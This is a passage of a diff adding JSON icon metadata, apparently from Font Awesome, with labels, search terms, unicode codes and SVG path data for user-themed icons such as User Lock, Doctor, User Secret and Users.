"terms": [ + "cast", + "injury", + "ouch", + "patient", + "person", + "sling" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f728", + "label": "User Injured", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635785, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z" + } + }, + "free": [ + "solid" + ] + }, + "user-lock": { + "changes": [ + "5.0.11", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "lock", + "person", + "private", + "unlock" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f502", + "label": "User Lock", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635785, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z" + } + }, + "free": [ + "solid" + ] + }, + "user-md": { + "changes": [ + "2", + "5.0.0", + "5.0.3", + "5.0.7", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "job", + "medical", + "nurse", + "occupation", + "physician", + "profile", + "surgeon" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0f0", + "label": "Doctor", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635785, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z" + } + }, + "free": [ + "solid" + ] + }, + "user-minus": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "delete", + "negative", + "remove" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f503", + "label": "User Minus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635786, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" + } + }, + "free": [ + "solid" + ] + }, + "user-ninja": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "assassin", + "avatar", + "dangerous", + "deadly", + "sneaky" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f504", + "label": "User Ninja", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635786, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z" + } + }, + "free": [ + "solid" + ] + }, + "user-nurse": { + "changes": [ + "5.7.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "doctor", + "midwife", + "practitioner", + "surgeon" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f82f", + "label": "Nurse", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635786, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z" + } + }, + "free": [ + "solid" + ] + }, + "user-plus": { + "changes": [ + "4.3", + "5.0.0", + "5.0.3", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "avatar", + "positive", + "sign up", + "signup", + "team" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f234", + "label": "User Plus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635787, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" + } + }, + "free": [ + "solid" + ] + }, + "user-secret": { + "changes": [ + "4.3", + "5.0.0", + "5.0.3", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "clothing", + "coat", + "hat", + "incognito", + "person", + "privacy", + "spy", + "whisper" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f21b", + "label": "User Secret", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635787, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z" + } + }, + "free": [ + "solid" + ] + }, + "user-shield": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "person", + "private", + "protect", + "safe" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f505", + "label": "User Shield", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635787, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z" + } + }, + "free": [ + "solid" + ] + }, + "user-slash": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "ban", + "delete", + "remove" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f506", + "label": "User Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635788, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z" + } + }, + "free": [ + "solid" + ] + }, + "user-tag": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "avatar", + "discount", + "label", + "person", + "role", + "special" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f507", + "label": "User Tag", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635788, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z" + } + }, + "free": [ + "solid" + ] + }, + "user-tie": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "avatar", + "business", + "clothing", + "formal", + "professional", + "suit" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f508", + "label": "User Tie", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635788, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z" + } + }, + "free": [ + "solid" + ] + }, + "user-times": { + "changes": [ + "4.3", + "5.0.0", + "5.0.3", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "delete", + "remove", + "x" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f235", + "label": "Remove User", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635788, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" + } + }, + "free": [ + "solid" + ] + }, + "users": { + "changes": [ + "2", + "5.0.0", + "5.0.3", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "friends", + "group", + "people", + "persons", + "profiles", + "team" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c0", + "label": "Users", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635790, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 